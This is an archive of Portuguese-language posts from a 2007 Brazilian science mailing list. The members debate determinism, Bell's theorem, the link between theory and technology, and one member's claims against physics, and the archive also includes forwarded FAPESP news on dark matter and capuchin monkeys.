complicada, e não vê aquela outra, que, levada a efeito, resultaria num
mate. Numa análise posterior, alguém pode dizer: ora, como o jogador não
enxergou algo tão elementar? No que concerne à relatividade e a tantos
outros fenômenos da física, as obviedades de hoje não o eram no passado,
embora muitos pensadores tivessem o conhecimento de como tal ou qual coisa
se comportava, mas não conseguia apontar as razões básicas. Quer dizer, o
caso de Watt, em relação a Black, não é raro. Os conceitos da relatividade,
por exemplo, como descritos por Einstein já pairavam no ar no, digamos,
inconsciente coletivo da comunidade científica de então, que se comportava
como o tal jogador de xadrez, diante das peças, sem atinar para que peça
movimentar. Mas tirar proveito dos alicerces já estruturados requer algo
mais que mero preparo intelectual. É por isso, talvez, que estes fiquem.
Watt entre eles. Valorizo, claro, os pioneiros, os que levantaram a lebre,
mesmo sem entender a razão pela qual a lebre não pulava. Mas a descoberta do
pulo, dá a o descobridor um status diferenciado. Talvez pelo fato de ele
haver tocado, bem alto, a campainha numa tentativa de acordar todos.
Talvez, também, seja por isso que alguns ainda não aceitam a relatividade e
têm raiva de Einstein, por exemplo: eram dorminhocos, e a campainha não
conseguiu acordá-los. Também não deixou que eles continuassem dormindo,
irritando-os pela ousadia de tentar impedir que continuassem naquela
dormida dos justos e senhores do pedaço, naquele momento. Vai ver que era
inverno na Europa, e acordar cedo é ruim, naquelas paragens.

Por aí.





Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quarta-feira, 16 de maio de 2007 06:58
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza



Olá (RCA) Victor,

agradeço a massagem, o dia de hoje já está salvo (e olhe que hoje comecei às
5:00 h da matina!).
Todavia, do texto em questão, e da thread em andamento, optei por 'nenhum
upgrade' simplesmente devido ao seguinte parágrafo onde, o dentro dos
parêntesis, estão os destaques:

+++
Esta possibilidade (obter de volta pelo menos aquilo que se dá) foi uma
força propulsora natural para as investigações teóricas sobre o
funcionamento da máquina a vapor, no início do século dezenove. (O público
em geral costuma dar um valor demasiadamente baixo às conquistas teóricas
que servem de base a uma criação inventiva coroada de êxito. O próprio Watt,
quando desenvolveu a sua máquina a vapor, foi guiado pelas pesquisas de
Black sobre o calor latente. No entanto, quantas pessoas, conhecendo a
invenção de Watt, percebem que ela só foi possibilitada pelo alicerce criado
pela teoria de Black?)
+++

Os rapazes inventores do transistor dentro de uma garagem, por sua vez, o
inventaram tendo em mente a 'eletrônica do dia-a-dia' e nem sequer
passou-lhes pela cabeça a 'física quântica'. E funcionou! E hoje querem
justificar essa descoberta "graças" à quântica! Eu, como o sabem, sou mais
Maxwell que 'Chorodinger'! Algumas ligeiras correções relativistas em
Maxwell e eis tudo funcionando e explicadinho! Do mesmo modo, algumas bem
menos ligeiras correções em Newton e eis tudo funcionando e explicadinho! 11
dimensões ... BAH! (não Bach!, não fucem na minha tocata e fuga em ré
menor!)

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: terça-feira, 15 de maio de 2007 19:31
Assunto: RES: [ciencialist] P/ Gil - Re: Determinismo e incerteza

Caro Léo,

Lí, com a atenção que merece qualquer artigo seu.Não o havia lido, ainda.
O artigo em foco não carece de reparos, está muito bom, excelente, diria, e
atual.

Sugiro que as pessoas que só têm notícias do que é física, e ainda assim
pretendem discute, que, antes, leiam os artigos do Imperdível,

como este ora postado. Se tiverem dúvidas, ponham estas dúvidas no fórum,
que o próprio Prof. Léo, ou outro participante,

teriam o maior prazer em dirimí-las. O enfoque dado ao importante e não
trivial tema é bastante pessoal, no estilo Léo. Aprendí mais coisas.

É isso.

Parabéns ao Léo.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 15 de maio de 2007 09:59
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza

Estou acompanhando com satisfação essa thread; realmente inspiradora. É
difícil saber a linha divisória entre o insight da tecnologia e a base
teórica da própria. Ao começar essa thread (e seu desdobramento) fui reler
um texto meu já colocado no Imperdível no século passado para ver se
necessitava de 'upgrade' ... mas, gostei do modo que está! Quem quiser
verificar se concorda comigo ou não (estou torcendo para que não concordem!)
dê uma lidinha em:

http://www.feiradeciencias.com.br/sala19/texto89.asp

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
<mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "oraculo333" <oraculo@atibaia.com.br <mailto:oraculo%40atibaia.com.br>
<mailto:oraculo%40atibaia.com.br> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: segunda-feira, 14 de maio de 2007 17:43
Assunto: [ciencialist] P/ Gil - Re: Determinismo e incerteza

Olá Gil

Gil: "Acho que algumas coisas vou tentar explicar melhor:"

Acho que fez um bom trabalho antes, e eu concordo com boa parte de
suas colocações. Apenas achei que existem circunstâncias onde
realmente a teoria é parte importante dos desdobramentos concretos da
tecnologia.

Gil: "Bem, é especialmente nas tecnologias de ponta e teorias de ponta
que a fronteira fica mais difusa. Repare que você falou de previsões ,
teorias ou dispositivos feitos no inicio do século 20 (ou até antes),
e não, nas novas teorias, dos anos 50/60, pra cá."

Com certeza, e isso porque, lembrando a frase que o Alberto enviou,
não se sabe no momento do nascimento para que serve a criança..:-)

É preciso tempo para que uma teoria, em especial na física teórica,
pura, se transforme em algo concreto, material ou tecnológico. Mas o
que tentei apresentar, é que muito do que é tecnológico, não existiria
sem a teoria, ainda que antiga (e por isso mesmo bem testada e
estabelecida).

[ ... ]

[As partes desta mensagem que não continham texto foram removidas]

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SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 11:18

>
> Existe, porém, um fenômeno denominado emaranhamento. A partir dele é
> possível criar pares de elétrons q possuem valores correspondentes
> entre si. Por exemplo, se uma partícula com spin zero decai formando
> dois elétrons, sabemos q o par desses elétrons possuem - para uma dada
> orientação - spins q somam zero por conservação do momento angular.
> Diz-se que os valores dos spins dos elétrons desse par estão emaranhados.
> (...)
> Mas pela teoria quântica, o valor não está determinado antes da
> medida. E a medição do spin de um dos elétrons - muito, muito distante
> (em tese tão distante qto quisermos) - em uma dada direção, afeta a
> medição do spin do outro elétron em outra direção. Nesse caso, a
> inequação de Bell seria violada.
>

Isso, que chamam de estado "singleto", a anticorrelação perfeita, é
realmente "muito louco" :-) Até aí beleza, não acho isso estranho quando
imagino uma partícula como uma onda (algo contínuo). O problema, como você
disse, é que, como o estado não tá definido antes da medida, assim que se
mede, em qualquer lugar, neste caso "singleto", o valor do medido é *sempre*
o oposto do outro... Essa não-localidade, a ação a distância instantânea,
viola a relatividade, mas não entendo, ainda, porque isso conclui que não há
causas! O problema da ação a distância instantânea mata apenas a
possibilidade de uma causa que se propagou até o "limite" da velocidade da
luz, né... :-) Não vou nem dizer que Einstein poderia estar errado senão vão
me linchar virtualmente aqui! :-)

O teorema de Bell mostra, justamente, que *se* a quântica estiver "correta",
nem variáveis ocultas explicariam isso né... Não dá pra explicar isso
"classicamente", mesmo com variáveis ocultas...

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 11:33

Takata,

Pára! Seu rei (a fisica), já nasceu morto e vc sabe
disto. A fisica é fruto do raciocinio dualista (cheio
e vazio). Até quando vai insistir em negar este fato?
A máteria que a fisica postula é fruto deste
raciocinio dualista também? É inegavel. E o pior é que
vc sabe disto! E fica fingindo que não sabe! Pra que?
Pro Prof Luiz não te colocar de castigo? Takata, sua
inteligencia não precisa se prender a autoridade de
ninguém. Se vc reconhecer o fato de que matéria dual
(espaço cheio e espaço vazio) é fruto do racioicnio
não está indo contra a fisica, mas apenas colocando-a
no seu devido lugar, no lugar de mapa, e não de
território. E também não estará se curvando ao louco
do ferrari, mas apenas ao fato. E não é isto que todo
cientista deve fazer, se curvar aos fatos? Se voce não
faz isto, como pode se considerar um cientista?

Takata >>> Não. Mas é o q *vc* está fazendo: negar
fatos.

--- Takata, o que é cheio, o que é vazio? São
realidades? Pelamorarealidade!

Takata >>> Provavelmente por sua incompreensão dos
fenômenos naturais. Claro, ninguém é obrigado a saber
sobre os detalhes do funcionamento da natureza; mas tb
ninguém é obrigado a contratar um pedreiro q não sabe
o q é tijolo.

--- Takata, não é nada disto. É vc que está querendo
provar que o mapa é igual ao território. Não é! E
assim está se fadando ao fracasso.

--- Se voce não se der ao luxo de considerar que o
processo cognitivo influi na construção mental da
realidade, está se fadando ao fracasso. Enquanto não
levar em conta a influencia que o processo cognitivo
tem na criação do conhecimento cientifico, como espera
"fazer ciencia" com consciencia do que está fazendo?
Não tem como.

--- E vc sabe disto. Mas nega. E continua postulando
particulas como se fosse realidade, embora não consiga
dividir o carro, nem a matéria (de fato - na
realidade). Só na teoria.

Xeque Mate!


sinceramente
ferrari

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SUBJECT: Matéria escura.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 16/05/2007 11:35

Anel de matéria escura é descoberto

16/05/2007

Agência FAPESP - Astrônomos suspeitam há tempos da existência de uma substância invisível como fonte da gravidade adicional que mantém os aglomerados de galáxias. Chamada de matéria escura, ela evitaria que os aglomerados se desmontassem, o que ocorreria caso tivessem que contar apenas com a gravidade de suas estrelas visíveis.

Embora ninguém saiba do que poderia ser feita essa substância hipotética, a suspeita é que seria um tipo de partícula elementar que permeia o Universo. Ponto para os defensores da teoria, pois cientistas europeus e norte-americanos acabam de anunciar a descoberta do que classificaram como anel de matéria escura no aglomerado ZwCl0024+1652, a partir de observações feita com o telescópio espacial Hubble. Segundo eles, trata-se de uma das mais fortes evidências da existência da matéria escura.

"Esta é a primeira vez que detectamos sinais de matéria negra em uma estrutura única, diferente do gás e das galáxias em aglomerados", disse M. James Jee, da Universidade Johns Hopkins, que participou do estudo.

Embora não seja possível ver a matéria escura, os astrônomos podem inferir sua existência pela observação de como a gravidade curva a luz de galáxias mais distantes em seu fundo. O anel agora identificado mede 2,6 milhões de anos-luz de um lado a outro.

"Ainda que matéria invisível tenha sido encontrada anteriormente em outros aglomerados, essa é a primeira vez que é identificada em região tão distante do gás quente e das galáxias que compõem os aglomerados", disse Jee.

Nas observações que fizeram, os cientistas encontraram ainda uma variação na substância misteriosa, parecida com as ondas formadas ao atirar uma pedra em um lago. "A princípio, não podíamos acreditar no que encontramos, mas, quanto mais tentávamos remover o anel dos resultados, mais ele aparecia em destaque. Foi preciso mais de um ano para que ficássemos convencidos de que o anel era real. Nunca vimos nada parecido", disse Jee.

Segundo os cientistas, a maior parte da matéria no Universo seria formada pela matéria escura. A chamada matéria ordinária, que compõe planetas e estrelas, responderia por uma pequena porcentagem do total.

Mais informações sobre o Hubble: www.stsci.edu/resources



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Inteligência e evolução
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 16/05/2007 11:39

Inteligência e evolução

16/05/2007

Agência FAPESP - O programa de rádio Pesquisa Brasil do próximo fim de semana terá como tema os macacos-prego, animais que atualmente movimentam um debate científico sobre as condições necessárias para a constituição da inteligência e de tradições culturais no processo evolutivo dos primatas.

Nos últimos três anos, pesquisadores do Brasil, da Itália e dos Estados Unidos mostraram que, em determinados lugares e circunstâncias, os macacos-prego usam ferramentas também na vida selvagem e transmitem a habilidade para gerações seguintes, o que seria um indicativo de formação de uma linguagem.

Para falar sobre o assunto, o entrevistado será o pesquisador do Instituto de Psicologia da Universidade de São Paulo (USP) Eduardo Ottoni, que há mais de uma década estuda o comportamento dos macacos-prego.

A reportagem especial dará destaque a Charles Darwin e à exposição sobre o naturalista inglês (1809-1882), em cartaz no Museu de Arte de São Paulo, que aborda teorias e descobertas que transformaram a compreensão sobre a evolução humana.

O Pesquisa Brasil mostrará ainda que análises traçadas sobre dom Pedro II (1825-1891), o segundo e último imperador do Brasil, revelam que ele estava mais interessado na essência do que na aparência em seu governo.

"No Brasil do século 21, Pedro II está em toda parte e em parte alguma. Para a maioria, ele não foi um ser real, um governante cujas ações, para o bem ou para o mal, forjaram a nação moderna brasileira. Suas realizações e suas limitações foram totalmente esquecidas", observou o brasilianista Roderick Barman, da Universidade de Colúmbia.

Ajude a fazer o programa: envie perguntas, críticas e sugestões para pesquisabrasil@fapesp.br. O ouvinte que tiver sua pergunta selecionada ganhará uma assinatura semestral de Pesquisa FAPESP.

Pesquisa Brasil é transmitido pela Rádio Eldorado AM (700 kHz) aos sábados, às 11h, e aos domingos às 9h. Nos mesmos horários, pode ser acompanhado pela DirecTV, no canal de áudio 883, ou pela internet, no endereço www.radioeldoradoam.com.br.

A partir da tarde de segunda-feira, os interessados também podem ouvir o conteúdo do programa no site da revista Pesquisa FAPESP, em www.revistapesquisa.fapesp.br.



16/05/2007

Agência FAPESP - O programa de rádio Pesquisa Brasil do próximo fim de semana terá como tema os macacos-prego, animais que atualmente movimentam um debate científico sobre as condições necessárias para a constituição da inteligência e de tradições culturais no processo evolutivo dos primatas.

Nos últimos três anos, pesquisadores do Brasil, da Itália e dos Estados Unidos mostraram que, em determinados lugares e circunstâncias, os macacos-prego usam ferramentas também na vida selvagem e transmitem a habilidade para gerações seguintes, o que seria um indicativo de formação de uma linguagem.

Para falar sobre o assunto, o entrevistado será o pesquisador do Instituto de Psicologia da Universidade de São Paulo (USP) Eduardo Ottoni, que há mais de uma década estuda o comportamento dos macacos-prego.

A reportagem especial dará destaque a Charles Darwin e à exposição sobre o naturalista inglês (1809-1882), em cartaz no Museu de Arte de São Paulo, que aborda teorias e descobertas que transformaram a compreensão sobre a evolução humana.

O Pesquisa Brasil mostrará ainda que análises traçadas sobre dom Pedro II (1825-1891), o segundo e último imperador do Brasil, revelam que ele estava mais interessado na essência do que na aparência em seu governo.

"No Brasil do século 21, Pedro II está em toda parte e em parte alguma. Para a maioria, ele não foi um ser real, um governante cujas ações, para o bem ou para o mal, forjaram a nação moderna brasileira. Suas realizações e suas limitações foram totalmente esquecidas", observou o brasilianista Roderick Barman, da Universidade de Colúmbia.

Ajude a fazer o programa: envie perguntas, críticas e sugestões para pesquisabrasil@fapesp.br. O ouvinte que tiver sua pergunta selecionada ganhará uma assinatura semestral de Pesquisa FAPESP.

Pesquisa Brasil é transmitido pela Rádio Eldorado AM (700 kHz) aos sábados, às 11h, e aos domingos às 9h. Nos mesmos horários, pode ser acompanhado pela DirecTV, no canal de áudio 883, ou pela internet, no endereço www.radioeldoradoam.com.br.

A partir da tarde de segunda-feira, os interessados também podem ouvir o conteúdo do programa no site da revista Pesquisa FAPESP, em www.revistapesquisa.fapesp.br.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Determinismo, incerteza e a revolução
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 11:43

Jeff >>> Mas eu não tenho medo de perguntar a falar o
que eu acho. É assim que eu aprendo! Como já disse,
não acho que a lista é um jogo onde eu tenha que ter
tanta cautela para não "perder". Tenho sim que ter
respeito aos co-listeiros e, principelamente, à
ciência.

Olha ai velha guarda!

A história se repete.

E este é só o começo do motim dos novos cientistas.
Mata um ferrari e vem outro. Isto porque o que
imcomoda não são os ferrari, mas as perguntas que eles
fazem. E a pergunta nunca morre sem a resposta.

E a fisica não tem a resposta.
E não quer ter.
E tem raiva de quem tem.

A revolução já está determinada.
E pra quem ainda não tem certeza.


Watch and see!


Sinceramente
Ferrari






--- jeffersonpascon <jeff@jeff.com.br> escreveu:

> > > >
> > >
> > > Creio que faltem mentes brilhantes hoje em dia.
> >
> > Creio que elas nunca faltaram.
> >
>
> Talvez faltem no lugar certo!
>
> >
> > Questionar você pode, mas não espere concordância.
> Ninguém disse que
> > você não pode questionar, mas ninguém precisa
> concordar com seu
> > questionamento. Certo?
> >
>
> Claro que não espero concordância. E claro que eu
> acredito que eu
> estou errado, pois é algo que persiste há várias
> décadas com muita
> gente pensando em cima. Estou questionando para
> tentar entender, pra
> ver se alguém me dá uma luz, como o Takata tá
> tentando. Eu não vejo
> esta lista como um jogo de quem sabe mais, mas como
> um laboratório
> científico. Eu não penso que se você não responder a
> minha pergunta,
> significa que eu "ganhei" o jogo, mas que você
> também pode ter as
> mesmas dúvidas. No máximo, posso ter mostrado uma
> quadra de ases!!
> hahaha :-)
>
> >
> > Nada na ciência é aceito sem questionamento.
> Milhares de mentes já
> > questionaram o princípio da incerteza, já proporam
> alternativas e
> > fizeram críticas a respeito. Se o princípio
> sobrevive é porque
> passou
> > em todos os testes até agora. E é esse justamente
> o ponto!
> >
>
> Mas eu não tenho medo de perguntar a falar o que eu
> acho. É assim que
> eu aprendo! Como já disse, não acho que a lista é um
> jogo onde eu
> tenha que ter tanta cautela para não "perder". Tenho
> sim que ter
> respeito aos co-listeiros e, principelamente, à
> ciência.
>
> []´,s
> Jeff.
>
>


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SUBJECT: Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 11:46

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Essa não-localidade, a ação a distância instantânea,
> viola a relatividade, mas não entendo, ainda, porque isso conclui
> que não há causas!

Então, esses resultados mostram q variáveis ocultas locais (q se
propagam dentro do limite de c) não são viáveis.

Aí q entra o outro teorema citado naquele texto da Nature, o de Simon
Kochen e Ernst Specker. Q corresponde ao de Bell, mas para variáveis
ocultas de modo geral - incluindo as não-locais/não-contextuais.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 11:53

>>> Boa ciência não se faz com terminologia relaxada e
raciocínio malconexo.

--- Nem se faz ciencia ignorando que o "metodo
cientifico" é fruto do raciocinio. Nem se faz ciencia
ignorando como o raciocinio cria o conhecimento.

--- Existe abc mas básico do que este?

--- Mas este abc não vem ao caso, não é mesmo? Ele é
perigoso. É capaz de desmontar o poder da fisica, não
é? Melhor ignora-lo. Melhor meter o pau no ferrari.
Melhor parar de pensar por si só e decorar o abc do
professor. Sim, é mais seguro. E o que importa não é o
novo, mas o velho, o seguro. Não é mesmo?




sinceramente
ferrari



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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 11:54

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Pára! Seu rei (a fisica), já nasceu morto e vc sabe
> disto.

Bem, no *seu* mundo em q o raciocínio é uma onda q se espalha pelo
meio material pode ser.

Aqui *neste* mundo, é um morto estranho q é capaz de enviar naves a
outros planetas, produzir tecnologia, prever o tempo, acertar o desvio
da luz sob influência gravitacional... um morto pra necromante ou
médium nenhum botar defeito.

O rei está morto? Longo vida ao rei.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 12:01

Olá Marcos!

Marcos Ludwig >>> cite o nome dessa escola, o seu
endereço e o nome completo do professor que te fez a
inesquecível pergunta, por gentileza.

--- Qual é seu interresse nesta resposta. Eu tinha
escrito o nome da escola no texto, mas depois retirei.
Para o que tinha a transmitir, identificar a escola
não vinha ao caso. A história poderia até ser
inventada, não é, mas poderia ser, pois o objetivo da
história não era falar sobre a história, mas sobre o
que ela ilustrava.

-- Agora, se quiser ser aluno da escola, é uma
excelente escola, pra musico que quer ser fera mesmo,
e posso te passar as informações em pvt.

--- Ludwig? Vc é parente do bethovem?



sinceramente
ferrari



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SUBJECT: Re: RES: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 12:21

Olá Ricardo!


Ferrari >>> Observe seu comportamento mental enquanto
estiver lendo este texto. Estou me comunicando com
você neste exato momento, não estou?

Ricardo >>> Sim, é claro... mas, nada de novo ou
interessante aqui...

--- Isto mesmo, Ricardo! É óbvio, não é? Como digo no
artigo "o que é fazer ciencia". O primeiro passo para
se "fazer ciencia" é ver o óbvio, ver o fato, ver o
sempre. Sem isto não tem como o cientista começar a
"fazer ciencia". Sobre o que ele irá postular? Sobre
nada? Fazer ciencia começa pelo "é claro", pelo "nada
de novo". Não é possivel fazer ciencia sem o mesmo,
sem o monotono. O que o cientista descobre na
observação é o monotono. Pense na gravitação, nas
maças caindo, o que tem de mais monotodo do que
observar a queda das coisas. E sempre a mesma queda.
Sempre a mesma monotonia. E no entanto, é da
observação deta monotonia que se começa a fazer
ciencia e deduzir a gravitação. Sem a monotonia da
queda que gravitação poderia ser deduzida? Nenhuma.
fazer ciencia é estudar a repetição. A monotonia.

--- Bem, assim, também é com este fenomeno monoto que
esta acontecendo ai no seu cerebro agora. O monotono,
repetitivo e óbvio fenomeno do raciocinio. Sendo
assim, este texto está realmente, apenas apontando
para o óbvio. Este é o primeiro passso no fazer
ciencia. Lhe convido a olhar para este obvio. Se de ao
luxo de observa-lo assim como newnton observou a óbvia
queda das maças. Observe este óbvio que está
acontecendo enquanto está lendo este texto. Observe o
que está acontecendo. Quando for responder este email.
Observe novamente o obvio. Observe seu raciocinio
enquanto estiver respondendo.

--- Não terá nenhum mistério. Não tem nenhum mistério.
É tudo muito óbvio e acessivel. Aliás, é a coisa mais
acessivel que tem. Contudo, precisa dar o primeiro
passo do fazer ciencia. Precisa observar o obvio.
Observar o sempre. Observar o monotono.

--- Se fizer isto. Não preciso nem falar mais nada
para vc. Vc se dará conta, por si só, do mais óbvio
dos óbvios. Se dará conta do que é raciocinar.

Nada de mistério.
Nenhuma mágica.
Apenas o óbvio.
O metodo cientifico.
E o cientista.
Simples assim.



sinceramente
ferrari

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SUBJECT: Re: [ciencialist] Re: Determinismo, incerteza e a revolução
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 14:39

Olá pessoal

Ferrari (o novo messias): "E a fisica não tem a resposta.
E não quer ter.
E tem raiva de quem tem.
A revolução já está determinada.
E pra quem ainda não tem certeza.
Watch and see!"

Bem, isso é religião, nada mais nada menos. Veja e verá, espere e o salvador virá, tudo vai mudar, os justos receberão seu mérito (sendo os justos os maluc... ops, seguidores do Ferrari, claro..:-), etc, etc, etc.

Enquanto isso, a física, o conhecimento científico, a ciência, etc, vão construindo um saber confiável, seguro, eficaz, que permite que computadores e redes mundiais sejam criadas (entre muitas outras coisas e saberes), e que permite até que "profetas do amamnhã" como o Ferrari escrevam para a lista, para tentar "detonar" a ciência (que ele aparentemente não compreendeu ainda o que é: um processo para produzir conhecimento confiável, e explicações adequadas a observação do mundo físico).

O final disso tudo é bem conhecido. Percebendo a inutilidade de pregar em um ambiente onde as pessoas pensam e questionam, em especial absurdos lógicos e frouxidão lógica, a fúria se abaterá sobre o profeta, e ele vai atirar para todos os lados, acusando a "mente fechada" dos que se "recusam" a perceber a maravilha de seus ensinamentos (imagino que em outros tempos, algumas fogueiras seriam acendidas, com lugar especial para mim em uma delas..:-) e ameaçando com o fogo do inferno futuro.

Watch and see!..:-)

Por isso o Professor Leo e outros (como eu) tentaram definir um limite para este tipo de discurso sem precisão, vazio, mas sem muito sucesso. Não é viajando na maionese que se faz ou se aprende ciência, é verificando, com rigor, quanto da viagem é real ou imaginária.

Um abraço.

Homero


----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 16, 2007 11:43 AM
Subject: [ciencialist] Re: Determinismo, incerteza e a revolução


Jeff >>> Mas eu não tenho medo de perguntar a falar o
que eu acho. É assim que eu aprendo! Como já disse,
não acho que a lista é um jogo onde eu tenha que ter
tanta cautela para não "perder". Tenho sim que ter
respeito aos co-listeiros e, principelamente, à
ciência.

Olha ai velha guarda!

A história se repete.

E este é só o começo do motim dos novos cientistas.
Mata um ferrari e vem outro. Isto porque o que
imcomoda não são os ferrari, mas as perguntas que eles
fazem. E a pergunta nunca morre sem a resposta.

E a fisica não tem a resposta.
E não quer ter.
E tem raiva de quem tem.

A revolução já está determinada.
E pra quem ainda não tem certeza.

Watch and see!

Sinceramente
Ferrari

--- jeffersonpascon <jeff@jeff.com.br> escreveu:

> > > >
> > >
> > > Creio que faltem mentes brilhantes hoje em dia.
> >
> > Creio que elas nunca faltaram.
> >
>
> Talvez faltem no lugar certo!
>
> >
> > Questionar você pode, mas não espere concordância.
> Ninguém disse que
> > você não pode questionar, mas ninguém precisa
> concordar com seu
> > questionamento. Certo?
> >
>
> Claro que não espero concordância. E claro que eu
> acredito que eu
> estou errado, pois é algo que persiste há várias
> décadas com muita
> gente pensando em cima. Estou questionando para
> tentar entender, pra
> ver se alguém me dá uma luz, como o Takata tá
> tentando. Eu não vejo
> esta lista como um jogo de quem sabe mais, mas como
> um laboratório
> científico. Eu não penso que se você não responder a
> minha pergunta,
> significa que eu "ganhei" o jogo, mas que você
> também pode ter as
> mesmas dúvidas. No máximo, posso ter mostrado uma
> quadra de ases!!
> hahaha :-)
>
> >
> > Nada na ciência é aceito sem questionamento.
> Milhares de mentes já
> > questionaram o princípio da incerteza, já proporam
> alternativas e
> > fizeram críticas a respeito. Se o princípio
> sobrevive é porque
> passou
> > em todos os testes até agora. E é esse justamente
> o ponto!
> >
>
> Mas eu não tenho medo de perguntar a falar o que eu
> acho. É assim que
> eu aprendo! Como já disse, não acho que a lista é um
> jogo onde eu
> tenha que ter tanta cautela para não "perder". Tenho
> sim que ter
> respeito aos co-listeiros e, principelamente, à
> ciência.
>
> []´,s
> Jeff.
>
>

EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

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SUBJECT: Re: Determinismo, incerteza e a revolução
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 15:22

Homero,

Desconfio que todas as respostas a todas as questões da humanidade
esteja na "neurolinguística". Eu não sei direito o que quer dizer esse
palavrão, mas soa como "elixir paregórico para os males do
analfabetismo científico". :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...> escreveu
>
> Olá pessoal
>
> Ferrari (o novo messias): "E a fisica não tem a resposta.
> E não quer ter.
> E tem raiva de quem tem.
> A revolução já está determinada.
> E pra quem ainda não tem certeza.
> Watch and see!"
>
> Bem, isso é religião, nada mais nada menos. Veja e verá, espere e o
salvador virá, tudo vai mudar, os justos receberão seu mérito (sendo
os justos os maluc... ops, seguidores do Ferrari, claro..:-), etc,
etc, etc.
>
> Enquanto isso, a física, o conhecimento científico, a ciência, etc,
vão construindo um saber confiável, seguro, eficaz, que permite que
computadores e redes mundiais sejam criadas (entre muitas outras
coisas e saberes), e que permite até que "profetas do amamnhã" como o
Ferrari escrevam para a lista, para tentar "detonar" a ciência (que
ele aparentemente não compreendeu ainda o que é: um processo para
produzir conhecimento confiável, e explicações adequadas a observação
do mundo físico).
>
> O final disso tudo é bem conhecido. Percebendo a inutilidade de
pregar em um ambiente onde as pessoas pensam e questionam, em especial
absurdos lógicos e frouxidão lógica, a fúria se abaterá sobre o
profeta, e ele vai atirar para todos os lados, acusando a "mente
fechada" dos que se "recusam" a perceber a maravilha de seus
ensinamentos (imagino que em outros tempos, algumas fogueiras seriam
acendidas, com lugar especial para mim em uma delas..:-) e ameaçando
com o fogo do inferno futuro.
>
> Watch and see!..:-)
>
> Por isso o Professor Leo e outros (como eu) tentaram definir um
limite para este tipo de discurso sem precisão, vazio, mas sem muito
sucesso. Não é viajando na maionese que se faz ou se aprende ciência,
é verificando, com rigor, quanto da viagem é real ou imaginária.
>
> Um abraço.
>
> Homero
>
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, May 16, 2007 11:43 AM
> Subject: [ciencialist] Re: Determinismo, incerteza e a revolução
>
>
> Jeff >>> Mas eu não tenho medo de perguntar a falar o
> que eu acho. É assim que eu aprendo! Como já disse,
> não acho que a lista é um jogo onde eu tenha que ter
> tanta cautela para não "perder". Tenho sim que ter
> respeito aos co-listeiros e, principelamente, à
> ciência.
>
> Olha ai velha guarda!
>
> A história se repete.
>
> E este é só o começo do motim dos novos cientistas.
> Mata um ferrari e vem outro. Isto porque o que
